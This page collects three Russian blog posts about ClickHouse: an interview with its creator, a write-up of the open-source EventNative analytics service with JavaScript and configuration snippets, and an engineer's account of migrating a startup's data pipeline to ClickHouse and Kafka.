Русский
Русский
English
Статистика
Реклама

Clickhouse

Представь, что ты нашел решение, про которое можешь сказать оно лучшее в мире интервью с создателем ClickHouse

22.03.2021 20:04:15 | Автор: admin

Алексей Миловидов работал инженером в Яндекс.Метрике, и перед ним стояла непростая задача.

Яндекс.Метрика работала с петабайтами данных это был третий по популярности сервис веб-аналитики в мире. Для него нужна была база данных, которая может обрабатывать огромное количество данных в реальном времени, очень быстро, при этом не сжигая миллиарды денег.

Долгое время такая СУБД разрабатывалась только для внутренних нужд но в 2016 вышла в опенсорс под названием ClickHouse, и сообщество встречает инструмент по-разному.

Мы поговорили с Алексеем о том, как он стал разработчиком, почему ClickHouse намного быстрее всех аналогов и как так получилось, какова цена производительности, почему ClickHouse стал опенсорсным и куда вообще движется индустрия.


Расскажи про себя, про учебу, и про первый опыт в разработке.

Наверное, надо начинать очень издалека. В семье было еще два брата, я самый младший. Году в 90-м родители купили старшему брату бытовой компьютер БК-0010. Это была реально классная машина. Интересные игры, встроенные языки программирования: Бейсик Вильнюс 86 и Фокал (Focal, акроним от англ. formula calculator).

Мои братья играли в эти игры, я в основном смотрел, мне было года 3-4. Отец с работы приносил стопки ксерокопий. На них можно было рисовать. Я рисовал компьютерные игры, лабиринты. И все время пытался заставить старшего брата все это запрограммировать. И я его так достал, что он взял и выполнил мою просьбу. Оказывается, я стал менеджером гораздо раньше, чем программистом.

Ради смеха братья посадили меня за компьютер, показали бейсик. Научили набирать команды. Типа нарисовать на экране круг, и компьютер покорно его рисовал. Вроде ничего особенного, но я воспринимал это как чудо. Как будто у меня в руках появилась волшебная палочка.

Брат рассказал про цикл и дал мне в руки толстую книгу под названием Язык программирования Бейсик. Уже позже папа принес домой IBM 286, и я стал что-то ковырять на нем. Мое первое достижение я написал игру и смог уговорить поиграть в нее маму. Мне было чуть меньше 10 лет.

В школе преподавали Паскаль. Писал на Паскале, потом на Делфи. Потом решил изучить С. С++ всегда был мощным, таким он и остался так было написано на диске старшего брата. Тем более я где-то услышал, что если писать игры то только на С++, другого варианта нет.

Это история была общей для всех программистов. Все учили С++, чтобы делать игры, а в итоге делают КликХаус.


Почему КликХаус настолько быстрее аналогов?

Тому есть две причины. Одна причина это просто более-менее подходящие технические решения. А вторая внимание к деталям. КликХаус был создан для обработки данных веб-аналитики в Яндекс.Метрике. Я решал задачи производительности. Что-нибудь подкрутить, как-нибудь схитрить, чтобы КликХаус работал хотя бы в 2 раза быстрее. Как только ты сделал его в 2 раза быстрее, сразу думаешь: а как еще в полтора раза быстрее сделать? А еще бы на 30%, и вообще было бы идеально! Приходится много ковыряться в деталях.

В других системах есть один алгоритм, подходящий для общего случая. Допустим, для разных типов данных один алгоритм, а в КликХаусе есть специализации. Для разных видов данных он может использовать разные алгоритмы.

В такой работе должен быть инженерный кайф.

Да, он определенно присутствует. Представь, что ты наконец-то сделал решение, (может быть, впервые в жизни!), про которое ты можешь сказать: да, это лучшее решение в мире.

Я иронизирую, но, допустим, на работе ты делаешь круды. Или другие мемы индустрии: клепаешь формочки, перекладываешь джейсоны. Однажды ты настолько хорошо переложил джейсоны, что понял: ты сделал лучший в мире Перекладыватель Джейсонов! Он тратит мало оперативки, его можно быстро прикрутить. И главное, прийти в другую компанию, сказать, что с помощью этого классного инструмента я вам сейчас переложу все джейсоны из одного места в другое.

Но компаниям на самом деле наплевать, как ты перекладываешь джейсоны. Жрет оно в 5 раз больше оперативы, и бог с ним!

Не нужно постоянно искать лучшее решение в любом коде. Я постоянно пишу код, на который мне наплевать, как он будет работать. Но это в основном всякие временные скрипты, которые я называю треш-скрипты. Я даже могу сказать, что есть языки программирования, к которым я отношусь без уважения. Я пишу программу на питоне, мне пофиг, насколько это идеальная программа, мне просто главное, чтобы она решала задачу.

В самом начале работы над кликхаусом ты был человеком, который хорошо разбирался в оптимизации производительности?

Совершенно нет. Пробовал, экспериментировал. Я точно могу сказать, что год назад я был тупой, два года назад очень тупой! Сейчас не знаю, посмотрю через год.

Работа над кодом, главная черта которого производительность, накладывает большие требования на тестирование этой производительности?

Во-первых, если пишешь такой код, у тебя получается просто больше строк из-за того, что в этом коде больше разных путей, больше пространства, которое нужно тестировать. Протестировать такой код стоит больших усилий.

Во-вторых, на большинстве проектов или нет регрессивного тестирования производительности, или есть, но ему уделяют не так много внимания, как просто другим функциональным тестам. Это непростая задача. При тестировании производительности требуется использовать статистические критерии.

Например, изменения производительности могут быть связаны с тем, что в бинарном файле куски машинного кода расположились немного по-разному. Думаешь, ну случайно. Но у тебя есть результаты тестирования, которые представляют собой выборку тестов. Десять раз один, десять раз другой. Ты используешь статистический критерий и проверяешь, есть ли статистическая значимость между разницей времени выполнения. И тебе показывают, что она вроде как есть. И ты думаешь, ну не может же такое быть, я вообще код в другом месте менял. Запускаешь сто раз, запускаешь тысячу, а все равно разница сохраняется. Смотришь, какой код выполняется, а выполняется абсолютно одинаковый код, который работает в одном случае быстрее, а в другом медленнее. И ты думаешь, как такое может быть, что одинаковый машинный код выполняется по-разному? И начинаешь смотреть уже счетчики производительности, которые встроены в железо, в процессор.

Процессор говорит, в одной программе чуть-чуть больше промахов кеша инструкций. На каждое процессорное ядро есть 32 килобайта L1 кеша инструкций и почему-то туда стало хуже все помещаться. Может быть, проблема возникла из-за структуры устройства кеша. Из-за его ассоциативности. Какие-то куски кода попали на адреса, которые отличаются на энное число байт, кратное двум. Внутри процессора есть как бы такая маленькая хеш-таблица, и в этой таблице происходит вытеснение.

И как такие проблемы решаются? Ты их один решаешь, или у вас там консилиум собирается? Бывают ли тупики?

А теперь раскрою секрет, вот такие проблемы мы не решаем! Мы еще до этого не дошли. Мы просто научились наблюдать.

Можно тестировать отдельные изолированные кусочки кода, это похоже на unit-тесты. При улучшении совершенно не обязательно, что у клиентов все стало лучше работать. Они могут и не заметить разницы. А может, какой-то кусочек кода ускорился в два раза, но при этом все остальные куски кода замедлились на полпроцента, и эти полпроцента нигде не видны. Такие тесты помогают понять, когда произошло какое-то замедление, в каком именно месте произошла регрессия.

Есть и другие способы измерять производительность. Что называется, always on profiling. То есть всегда включенное профилирование на продакшене. В КликХаусе встроен семплирующий профайлер. С небольшим интервалом семплирования, всего лишь один раз в секунду, собираются стектрейсы во всех потоках. А потом по большому кластеру мы агрегируем все за неделю и делаем выводы, стал ли продукт быстрее.

Есть же дилемма чтобы написать более быстрый код, ты пишешь сильно менее читаемый код. Для вас это проблема в кодовой базе КликХауса?

Мне кажется, что так делать не нужно. Действительно, если ты пишешь более быстрый код, он получается идейно сложнее. Но его нужно просто максимально подробно описать. Я сторонник того, что в коде должны быть комментарии. Сам я пытаюсь писать такой код, чтобы другой человек мог прочитать его от начала и до конца прямо как будто это учебник или пост в блоге, который этот же код объясняет.

Иногда это называют литературным программированием, но это экстремальный случай, когда пишут целиком текст или книгу, а потом внутрь вставляют кусочки кода. И все это компилируется и работает.

В C# или Java хороший код это максимум 200 строк на файл. Ты заходишь в любой файлик, и он умещается в экран. На C++ это вообще нереально, особенно на больших проектах. У вас есть файлы на 5.000 строк?

Сейчас посмотрю мой любимый StorageReplicatedMergeTree.cpp, сколько там строк...

Кстати, сейчас я использую Linux, и в моей любимой среде разработки что-то напутали со шрифтами, и номера строк отображаются так, что первая цифра наполовину не видна.

Как-то я был в Индии, там особенность такая, что везде на улицах все засыпано мусором. Меня это, конечно, раздражало, но через несколько дней я понял, что привык.

Такое же ощущение может быть, когда работаешь с современными технологиями. На каждом шагу поджидает маленькая несуразность, что-то не доделано. Какой-то баг. И особенно печально, когда люди к этому привыкают. Еще хуже, когда считают, что это неизбежно, и так и должно быть.

...итак в нашем файле 6.368 строк. Это один из самых больших файлов в нашем проекте. Таких немного. В основном у нас небольшие файлы.


Зачем КликХаус в опенсорсе?

Изначально технология возникла для задач вообще одной команды Яндекс.Метрики. Идея состояла в том, чтобы создать чуть более общее решение для обработки данных. И она казалась безумной, я держал эту идею в уме как мечту, которую как-нибудь все-таки удастся воплотить. Постепенно начал пилить. Где-то десять лет назад уже можно было посмотреть на рабочий вариант. Показал его коллегам, им понравилось. Артур Суилин из Вебвизора тогда был руководителем Яндекс.Метрики. Он человек технический, ему эта штука понравилась. Мы ее внедрили в Метрику для одной из задач, и я продолжил спокойно допиливать.

Постепенно к технологии появился интерес и в других отделах Яндекса. Наша разработка давала возможность использовать систему внутри Метрики напрямую для аналитиков, чтобы можно было выполнить обобщенный запрос по данным всего интернета. На самом деле, это очень круто. Потому что метрика стояла на 70% сайтов: покрывается совершенно нереальное количество трафика и можно делать глобальный запрос, чтобы посчитать что-нибудь важное.

Инструмент стал популярным внутри компании, люди стали приходить, интересоваться. Я создал документацию, в которой рассказал, как самому провести установку, какие запросы можно писать. Через некоторое время появились люди, которые пользовались инструментом уже без моей помощи.

Стало казаться, что наша технология занимает нишу, которая пока пустует. После этой мысли стало даже немного страшно. Если нишу долго не занимать, она так или иначе будет занята снаружи какой-то другой технологией.

В конце 2015-го года я перешел в группу Кликхаус (ее выделили из группы Яндекс.Метрики). Мы обсуждали идею КликХауса на опенсорсе с моим руководителем, он предложил ее Михаилу Парахину (тогда он был СТО в Яндексе). Тот дал добро. Я тогда написал мотивационное письмо: какие возможности, какие риски. Мы стали пробовать, несколько месяцев ушло на подготовку, но летом 2016 года все было готово, и мы выложили КликХаус в опенсорс. Серьезных надежд не было. У меня был такой принцип: если ничего не получится, то ну и ладно, не надо будет тратить силы. Но если полетит и все будет хорошо, то у нас будет некоторое достижение. Возможность получить это достижение перекрывала риски.

Взлетела технология?

Уверенно растет. Будем стараться дальше.

Опенсорс принес какие-то плоды? Контрибьюторы со стороны приходят?

Да, принес. Сейчас у нас 46% пул-реквестов внешние. И даже есть случай, когда человек реализует внешнюю функциональность или исправляет баг, и вот эту функциональность как раз хотели попросить у нас внутренние заказчики. А баг исправлен до того, как вообще кто-либо внутри мог его заметить.

Слушай, вас очень ругают за документацию.

С документацией интересно многие люди нас хвалят за нее и говорят, что документация одно из наших преимуществ. И я могу сказать, что она для уровня опенсорс продукта достаточно качественная. Но не является достаточно качественной, если бы ей занималась команда хотя бы из нескольких человек. Сейчас получается, что такая команда отсутствует. И получается неидеально.

Почему Кликхаус так сильно отличается от других БД, что даже появилось выражение "ClickHouse way"?

Мы исходили из своих задач и брали самое простое естественное их решение, которое не обязательно соответствовало стандарту SQL. Я приведу простой пример: у нас в Кликхаусе можно написать не селект каунт звездочка, а просто: каунт и все! И я до сих пор думаю, что это логичнее.

Не страшно принимать такие решения? Привычка сообщества это тоже часть простоты инструмента.

Когда я сделал селект каунт, я вообще не парился. Тогда это не было опенсорсом. Сейчас любое решение по синтаксису я обязательно сравниванию с опытом нескольких других СУБД. И выбираю лучшее.

Говорят, Яндекс сначала занимается собственными внутренними заказчиками и только потом сообществом и нуждами внешних пользователей. Что думаешь про это?

Внутренние задачи, конечно, являются приоритетными. Но удается учесть интересы и сообщества, и внутренних пользователей. В подавляющем большинстве случаев то, что нужно пользователям, нужно сообществу.

Что думаешь про компании, которые строят целые бизнесы на внедрении КликХауса?

Я всецело это приветствую. Чем больше будет этот бизнес, тем лучше.

Если КликХаус вырастет на рынке, не будешь переживать, что многие решения, которые ты принял в самом начале, уже не исправить?

Ничего, придется объяснять. Такое часто бывает. Взять линукс или BSD, в котором многие вещи тянутся из допотопных времен. Например, спрашивают, почему язык csh такой ужасный? Чем разработчик думал, когда его писал? Автора нашли (хотел сказать откопали). Он ответил: у меня просто не было опыта. Какую технологию не возьми, везде есть какие-нибудь грабли.


Как тебе индустрия прямо сейчас?

Индустрия растет вширь и покрывает все большие области. Сейчас даже возникает вопрос: писать код это новый признак грамотности? Это как читать и писать? Мне кажется, скоро будет нормальным программировать раньше, чем читать, программировать раньше, чем ходить.

Ты видишь проблему в том, что порог входа снизился? В индустрии много программистов разного уровня.

Иногда порог входа работает в обе стороны. Где-то он снижается, а где-то наоборот все труднее его перешагнуть. К примеру, сейчас практически невозможно разобраться во всех наслоениях кода. И в этом смысле порог входа только увеличивается.

Часто программисту и не нужно понимать, как работают инструменты изнутри. Но иногда все-таки нужно, и когда такой момент наступает, приходится искать экспертов, а их почти нет.

Это нормально. В некоторых областях поиск эксперта даже задекларирован: Не занимайтесь самолечением, обратитесь к специалисту. Эксперты проходят долгое обучение, получают опыт и только после этого к ним возникает доверие. В нашей области такого пока нет. В каком-то смысле это даже хорошо. Настоящие энтузиасты ничем не скованы и могут проявить себя в своем творчестве.

Не слишком ли много стало инструментов в индустрии? На любую задачу найдется сотня решений, и все их надо знать. Кажется, поэтому поверхностное знание становится нормой.

Да, это плохо. Можно понять, почему так получилось. Старые инструменты были слишком глубоко запрятаны. Если люди не видят старое, они просто изобретают новое.

Недавно все дружно похоронили технологию flash. Раньше, если ты хотел сделать что-то интерактивное на своем сайте, ты не мог обойтись без flash. Зато ты был уверен, что на всех платформах, которые поддерживают эту технологию, все работает одинаково. Когда начался переход на HTML5, я думал так: HTML5 совокупность слабосвязанных технологий, которые кое-как взаимодействуют друг с другом. Технология реализована частично и везде работает по-разному. Как вообще можно говорить, что она заменит flash? Но прошло время, и теперь почти все работает.

Эти процессы не остановить. Люди пишут новые инструменты просто потому, что хотят. Все-таки в нашей профессии есть доля творчества. Человек может плохо разбираться в вопросе, но в процессе разработки очередного велосипеда он получит много пользы лично для себя. Возможно, все, что он сделает, нанесет вред индустрии. Но он точно станет более квалифицированным специалистом. Пусть свет увидит еще 10 новых конкурирующих JavaScript фреймворков, но один из них когда-нибудь да привнесет новую идею. Людям нельзя запрещать пытаться только потому, что большинство их разработок не будут нужны.

Современные языки программирования что ты о них думаешь?

Прогресс есть. Медленно, с повторением пройденного, но все становится лучше. Это не просто поступательное движение, это хождение по кругу, где каждый оборот круга небольшое улучшение. При этом остается много технологий, которые можно описать как наслоение несуразностей. Это касается как раз-таки самых востребованных, широко используемых технологий.

Вспомнить JavaScript, который вырос из пережитков прошлого, или С++, рост которого был продиктован разными практическими соображениями. Принципы, по которым он построен, почти все разумные. Конечно, есть и неконсистентности. С++ сложный язык и это его основная проблема. Rust, кстати, тоже находится в группе риска, он не менее сложный и становится все труднее. Чтобы программировать простые вещи, нужно чувствовать себя уверенно при использовании языка.

По пятницам мы с ребятами из КликХауса собираемся и читаем чужой код ради смеха. Возможно, когда-нибудь выйдет юмористическое видео Разработчики КликХауса читают код и ржут. Вот недавно смотрели код на Rust. При этом никто из нас не знает этот язык. Можно открыть код КликХауса и тоже поугорать над этим.

Разработчики часто уходят от перфоманса к удобству, жертвуют производительностью ради удобных абстракций. Это плохо?

Обычно это неосознанная жертва. Если не следить за производительностью, она будет настолько плоха, насколько это устраивает разработчика. В коде есть тысячи мелких вещей, которые связаны с производительностью. Где-то неправильный алгоритм, где-то мы заново на каждой итерации собираем структуру данных. Когда все работает невыносимо медленно, автор может этот поправить. Но работу никто не оптимизирует, когда все приемлемо. В одних задачах это неправильно, в других нормально.

Чуть ли не единственное решение, которое следит за производительностью по максимуму это КликХаус. Мы действительно докапываемся, чтобы каждая штука в нашем коде работала так, как позволяет железо. А современное железо, поверьте, очень крутое! Для многих это обыденность, я и сам воспринимаю эту силу как некую магию. История человечества, вся совокупность знаний привела нас к тому, что мы имеем процессор, который обрабатывает миллиарды операций. Это нереальное достижение. Ты приезжаешь в аэропорт, видишь там авиалайнер и восторгаешься тем, как он сделан. В кармане каждый день лежит обычный телефон, и на его счет я испытываю те же самые чувства.

Невероятно важно осознавать все то, что привело к этому.


От редакции Rebrain

Что вы сами думаете про ClickHouse? Лично мы накопили уже очень много опыта в работе с ним и постоянно этим опытом делимся рассказываем про все тонкости, где, как и что лучше применять.

Заходите к нам в сообщество там мы постоянно разбираем различные проблемы и задачи из сферы Devops, обсуждаем вещи, которые пригодятся и на собеседованиях, и в работе.

Подробнее..

История нашего open source как мы сделали сервис аналитики на Go и выложили его в открытый доступ

15.10.2020 14:05:55 | Автор: admin
В настоящее время практически каждая компания в мире собирает статистику о действиях пользователя на web ресурсе. Мотивация понятна компании хотят знать как используется их продукт/веб сайт и лучше понимать своих пользователей. Конечно на рынке существует большое количество инструментов для решения данной проблемы от систем аналитики, которые предоставляют данные в виде дашбордов и графиков (например Google Analytics) до Customer Data Platform, которые позволяют собирать и агрегировать данные из разных источников в любом хранилище (например Segment).

Но мы нашли проблему, которая еще не была решена. Так родился EventNative open-source сервис аналитики. O том, почему мы пошли на разработку собственного сервиса, что нам это дало и что в итоге получилось (с кусками кода), читайте под катом




Зачем нам разрабатывать собственный сервис?


Это были девяностые, мы выживали как могли. 2019 год, мы разрабатывали API First Customer Data Platform kSense, которая позволяла агрегировать данные из разных источников (Facebook ads, Stripe, Salesforce, Google play, Google Analytics и др) для более удобного анализа данных, выявления зависимостей и т.д. Мы заметили, что многие пользователи используют нашу платформу для анализа данных именно Google Analytics (далее GA). С некоторыми пользователями мы поговорили и выяснили, что им нужны данные аналитики их продукта, которые они получают с помощью GA, но Google сэмплирует данные и для многих GA User interface не является эталоном удобства. Мы провели достаточное количество бесед с нашими пользователями и поняли, что многие также использовали платформу Segment (которая, кстати, буквально на днях была продана за 3.2 млрд$). Они устанавливали Segment javascript пиксель на свой web ресурс и данные о поведении их пользователей загружались в указанную базу данных (например Postgres). Но и у Segment есть свой минус цена. К примеру, если у веб ресурса 90,000 MTU (monthly tracked users) то необходимо оплатить в кассу ~1,000 $ в месяц. Также была и третья проблема некоторые расширения для браузера (такие как AdBlock) блокировали сбор аналитики т.к. http запросы из браузера отправлялись на домены GA и Segment. Исходя из желания наших клиентов, мы сделали сервис аналитики, который собирает полный набор данных (без сэмплинга), бесплатный и может работать на собственной инфраструктуре.

Как устроен сервис


Сервис состоит из трех частей: javascript пиксель (который мы впоследствии переписали на typescript), серверная часть реализована на языке GO и в качестве in-house базы данных планировалось использовать Redshift и BigQuery (позже добавили поддержку Postgres, ClickHouse и Snowflake).

Структуру событий GA и Segment решили оставить без изменения. Все, что было нужно, это дублировать все события с web ресурса, где установлен пиксель, в наш бекенд. Как оказалось, это сделать несложно. Javascript пиксель переопределял оригинальный метод библиотеки GA на новый, который дублировал событие в нашу систему.

//'ga' - стандартное название переменной Google Analyticsif (window.ga) {    ga(tracker => {        var originalSendHitTask = tracker.get('sendHitTask');        tracker.set('sendHitTask', (model) => {            var payLoad = model.get('hitPayload');            //отправка оригинального события в GA            originalSendHitTask(model);            let jsonPayload = this.parseQuery(payLoad);            //отправка события в наш сервис            this.send3p('ga', jsonPayload);        });    });}

С пикселем Segment все проще, он имеет middleware методы, одним из них мы и воспользовались.

//'analytics' - стандартное название переменной Segmentif (window.analytics) {    if (window.analytics.addSourceMiddleware) {        window.analytics.addSourceMiddleware(chain => {            try {//дублирование события в наш сервис                this.send3p('ajs', chain.payload);            } catch (e) {                LOG.warn('Failed to send an event', e)            }    //отправка оригинального события в Segment            chain.next(chain.payload);        });    } else {        LOG.warn("Invalid interceptor state. Analytics js initialized, but not completely");    }} else {    LOG.warn('Analytics.js listener is not set.');}

Помимо копирования событий мы добавили возможность отправлять произвольный json:

//Отправка событий с произвольным json объектомeventN.track('product_page_view', {    product_id: '1e48fb70-ef12-4ea9-ab10-fd0b910c49ce',    product_price: 399.99,    price_currency: 'USD'    product_release_start: '2020-09-25T12:38:27.763000Z'});

Далее поговорим про серверную часть. Backend должен принимать http запросы, наполнять их дополнительной информацией, к примеру, гео данными (спасибо maxmind за это) и записывать в базу данных. Мы хотели сделать сервис максимально удобным, чтобы его можно было использовать с минимальной конфигурацией. Мы реализовали функционал определения схемы данных на основе структуры входящего json события. Типы данных определяются по значениям. Вложенные объекты раскладываются и приводятся к плоской структуре:

//входящий json{  "field_1":  {    "sub_field_1": "text1",    "sub_field_2": 100  },  "field_2": "text2",  "field_3": {    "sub_field_1": {      "sub_sub_field_1": "2020-09-25T12:38:27.763000Z"    }  }}//результат{  "field_1_sub_field_1":  "text1",  "field_1_sub_field_2":  100,  "field_2": "text2",  "field_3_sub_field_1_sub_sub_field_1": "2020-09-25T12:38:27.763000Z"}

Однако массивы на данный момент просто конвертируются в строку т.к. не все реляционные базы данных поддерживают повторяющиеся поля (repeated fields). Также есть возможность изменять названия полей или удалять их с помощью опциональных правил маппинга. Они позволяют менять схему данных, если это потребуется или приводить один тип данных к другому. К примеру, если в json поле находится строка с timestamp (field_3_sub_field_1_sub_sub_field_1 из примера выше) то для того чтобы создать поле в базе данных с типом timestamp, необходимо написать правило маппинга в конфигурации. Другими словами, тип данных поля определяется сначала по json значению, а затем применяется правило приведения типов (если оно сконфигурировано). Мы выделили 4 основных типа данных: STRING, FLOAT64, INT64 и TIMESTAMP. Правила маппинга и приведения типов выглядят следующим образом:

rules:  - "/field_1/subfield_1 -> " #правило удаления поля  - "/field_2/subfield_1 -> /field_10/subfield_1" #правило переноса поля  - "/field_3/subfield_1/subsubfield_1 -> (timestamp) /field_20" #правило переноса поля и приведения типа

Алгоритм определения типа данных:

  • преобразование json структуры в плоскую структуру
  • определение типа данных полей по значениям
  • применение правил маппинга и приведения типов

Тогда из входящей json структуры:

{    "product_id":  "1e48fb70-ef12-4ea9-ab10-fd0b910c49ce",    "product_price": 399.99,    "price_currency": "USD",    "product_type": "supplies",    "product_release_start": "2020-09-25T12:38:27.763000Z",    "images": {      "main": "picture1",      "sub":  "picture2"    }}

будет получена схема данных:

"product_id" character varying,"product_price" numeric (38,18),"price_currency" character varying,"product_type" character varying,"product_release_start" timestamp,"images_main" character varying,"images_sub" character varying

Также мы подумали, что пользователь должен иметь возможность настроить партиционирование или разделять данные в БД по другим критериям и реализовали возможность задавать имя таблицы константой или выражением в конфигурации. В примере ниже событие будет сохранено в таблицу с именем, вычисленным на основе значений полей product_type и _timestamp (например supplies_2020_10):

tableName: '{{.product_type}}_{{._timestamp.Format "2006_01"}}'

Однако структура входящих событий может изменяться в runtime. Мы реализовали алгоритм проверки разницы между структурой существующей таблицы и структурой входящего события. Если разница найдена таблица будет обновлена новыми полями. Для этого используется patch SQL запрос:

#Пример для PostgresALTER TABLE "schema"."table" ADD COLUMN new_column character varying

Архитектура




Зачем нужно записывать события на файловую систему, а не просто писать их сразу в БД? Базы данных не всегда демонстрируют высокую производительность при большом количестве вставок (рекомендации Postgres). Для этого Logger записывает входящие события в файл и уже в отдельной горутине (потоке) File reader читает файл, далее происходит преобразование и определение схемы данных. После того как Table manager убедится, что схема таблицы актуальна данные будут записаны в БД одним батчем. Впоследствии мы добавили возможность записывать данные напрямую в БД, но применяем такой режим для событий, которых не много например конверсии.

Open Source и планы на будущее


В какой-то момент сервис стал похож на полноценный продукт и мы решили выложить его в Open Source. На текущий момент реализованы интеграции с Postgres, ClickHouse, BigQuery, Redshift, S3, Snowflake. Все интеграции поддерживают как batch, так и streaming режимы загрузки данных. Добавлена поддержка запросов через API.
Текущая интеграционная схема выглядит следующим образом:



Несмотря на то что сервис можно использовать самостоятельно (например с помощью Docker), у нас также есть hosted версия, в которой можно настроить интеграцию с хранилищем данных, добавить CNAME на свой домен и посмотреть статистику по количеству событий. Наши ближайшие планы добавление возможности агрегировать не только статистику с веб ресурса, но и данные из внешних источников данных и сохранять их в любое хранилище на выбор!

GitHub
Документация
Slack

Будем рады если EventNative поможет решить ваши задачи!
Подробнее..

Когда-то я внедрял ClickHouse в стартапе, где даже алерты мониторили индийцы это был Дикий Запад

13.01.2021 20:16:14 | Автор: admin

Однажды я работал дата-инженером в стартапе. Он быстро рос и в какой-то момент решился на покупку одной крупной компании. Там было больше сотни сотрудников оказалось, почти все из Индии. Пока наши разработчики возились с экзотическим кодом, не поддающимся расшифровке с наскока, мое внимание привлек индийский отдел мониторинга.

Чтобы мониторить сеть и сервера, можно использовать самый разный софт. Главное быть уверенным: если что-то пойдет не так, то сработает алерт. Вы увидите уведомление и успеете все починить. У них же было свое представление о мониторинге. Представьте, несколько комнат со столами, стульями и огромными плазмами на стенах, внутри сидят почти два десятка человек. На каждый монитор выведены разноцветные графики и рядом приклеены бумажки с номерами телефонов.

Работа этих двадцати людей заключалась в том, чтобы сидеть и смотреть на графики, а если линия вдруг окажется выше приклеенного рядом стикера звонить по номеру телефона, который там написан, и бить тревогу. Вот они сидели и не отрываясь следили.

Покупка компании обошлась недорого, но содержание такой инфраструктуры стоило заоблачных денег. Индусы использовали дорогущую Vertica, где, кроме оплаты железа, нужно было еще отстегивать за лицензию. Мы решили попробовать переезд на ClickHouse. Это практически бесплатный аналог Vertica. Оба продукта работают по схожему принципу: колоночное СУБД с шардированием, с партиционированием данных.

И это было то еще приключение.


Киллер-фича ClickHouse конечно, экономия денег

Как раз то, что нам было нужно. ClickHouse умеет писать миллионы ивентов в секунду и также быстро читать. Если правильно организовать агрегационную таблицу в ClickHouse, она будет выполняться за минуту, когда в классических агрегационных базах (например, PostgreSQL) запрос выполняется час.

Я загорелся ClickHouse на одном кейсе, когда провел тест на сжатие с новенькими кодеками: тот же DoubleDelta ужал наши полуслучайные последовательности в пять раз! И ClickHouse не смущает количество данных, если подобрать правильный ключ сортировки и степень детализации индекса в настройках MergeTree.

В результате увидел, что данные, которые на HDFS занимали гигабайты, в ClickHouse уместились в 700 с хвостиком мегабайт, а скорость запросов по ним была на порядок выше. Особенно, когда получается удачно переписать стандартный хакерский SQL-запрос на тыщу строк во что-то максимально понятное ClickHouse, с использованием корректных встроенных функций, массивов, агрегатов и других подходящих альтернатив.

Но в то время у инструмента был большой минус высокий порог вхождения. Результат комбинации маленького на тот момент комьюнити, не сильно выходящего за пределы СНГ, фундаментальных отличий ClickHouse от обычных СУБД и невнятной документации. Приходилось проводить личные опыты: грузить в него TSBS и экспериментировать с функциями, разными версиями, настройками движков и так далее доходило даже до флагов компиляции. Драйвер существовал для галочки он использовал http-протоколы ненативно, просто обертка над Rest клиентом.

ClickHouse постепенно допиливался, было много багов, не хватало множества критических фич, альтернативами удобнее пользоваться и легче поддерживать, но они все обходятся в разы дороже. Кликхаус опенсорсный и мощный, но в нем не разберешься без стакана. Он похож на стереотипную русскую вещь неидеальный, шероховатый, дешевый. Но сжатие и скорость работы все перекрывают.


Как построить бэкенд так, чтобы ничего не падало, не сжирало тонну денег, могло хранить и обеспечивать доступ к отчетам?

При условии, что есть миллиарды строк данных, терабайты, километры.

Компания занималась монетизацией пираток. Человек пиратил андроид-приложение, не платил за него, но видел рекламу. Для того, чтобы посчитать клиента по биллингу, посмотреть, сколько он накликал рекламы, компания начала собирать статистику. До моего прихода там были написаны собственное SDK и бэкенд. PHP принимал JSON ивент, его парсили и писали в MySQL. Никаких пулов соединений не было, пришел ивент открыли и записали.

Когда нагрузка стала расти (несколько тысяч событий в секунду), эта система перестала вывозить. Бэкенд-разработчик узнал про Hadoop, HDFS и решил его применить. Собрали кластер из нескольких машин. Идея была такой: просто пишем JSON-файлы, запихиваем в Hive. И вот уже все считается и работает.

Когда ребята начали мигрировать биллинг на Hive, поняли, что у них резко вырос чек за кластер. Все хранилось в виде несжатых JSON-файлов. К тому же HDFS и Hadoop не были заточены на риал-тайм вычисления. Приходилось планировать любую джобу заранее. Ставили на всю ночь, утром видели результат в виде огромной кучи неструктурированных данных, которые лежат прямо в тексте. И все это за деньги! Скорость никакая, запрос делать долго, на выходе свалка. Это никого не устраивало.Когда я начал выяснять, как устроена текущая архитектура проекта, то оказалось, что Spark используется в автономном режиме на нескольких узлах, что выглядело подозрительным и специфичным. Разобравшись в скрипте запуска, я понял, что текущие настройки приводили к тому, что узлы грузились на все двести, а RDD все равно читались в один поток.

После некоторого разбирательства я выяснил, что это было сделано не из-за каких-то архитектурных ограничений. Тот же относительно большой HDFS был корректно настроен как кластер, с резервированием нареканий по этой части инфраструктуры и железа не было.

Тем не менее, при правильном распараллеливании джобы на выходе получались не совсем корректные данные. Документация по коду, как это традиционно в наших краях, была устаревшая, поэтому пришлось максимально сосредоточиться, чтобы эффективно раскурить текущие исходники на Java, понять желаемую бизнес-логику и починить багу. В итоге получилось совершенно новое приложение на Scala, которое работало настолько лучше, что отдел инфраструктуры смог спланировать снижение стоимости поддержки бэкенда в тысячи долларов!

И наконец мы начали добавлять запись в ClickHouse. Исходный код сервера будет достаточно понятным любому, кто знает C++. Он также иногда покрыт тестами, а если и нет, то зачастую можно найти тест, реализующий схожий кейс. Так что в итоге у нас появился свой отказоустойчивый драйвер на Scala, работавший по TCP, в бинарном Native формате, учитывающий конфигурацию кластера и позволявший нам максимально эффективно писать в несколько потоков.

Я решил еще доработать бэкенд и рискнул убрал HDFS. Поставил нормальный кластер Kafka, бэкенд стал писать в нее, из Kafka все читалось консьюмером и писалось в ClickHouse. При этом я не исключил кластер HDFS из схемы совсем, сделав из него подобие бэкапа: данные залетали и в урезанный HDFS тоже.

В какой-то момент встала задача переводить все остальные сервисы и отчеты на работу с ClickHouse. Большинство было переведено в процессе создания нового приложения, но оставалось еще много работы касательно того, куда эти данные планировалось в дальнейшем интегрировать.

Но главная проблема оказалась не в самом ClickHouse а в том, что никто не мог сходу в нем разобраться

Если для того, чтобы научиться эффективно писать в ClickHouse и создать production-ready сервис, достаточно было только моих вложений, то с запросами и, в целом, с полноценным использованием DWH ситуация обстояла несколько иначе.

По опыту получалось, что задачи, которые отдел аналитики и разработчики раньше могли решить с наскока в каком-нибудь Hive или MySQL, в ClickHouse так сходу не решались где-то функцию надо использовать, где-то JOIN из-за дистрибуции данных некорректный и т.д.

И хорошо еще, если разработчик заподозрил неладное с запросом и обратился, если не к документации, то хотя бы в чат. Но бывало и так, что ошибки при переносе оставались скрытыми. В таких случаях все выяснялось уже тогда, когда было слишком поздно данные либо попадали в отчеты, либо так или иначе светились в клиентских кабинетах.

Конечно, такое можно сказать про любые относительно молодые технологии. Но в нашем случае также были баги, когда по документации и отзывам запрос должен работать, а он приводил к падению сервера или некорректному результату.

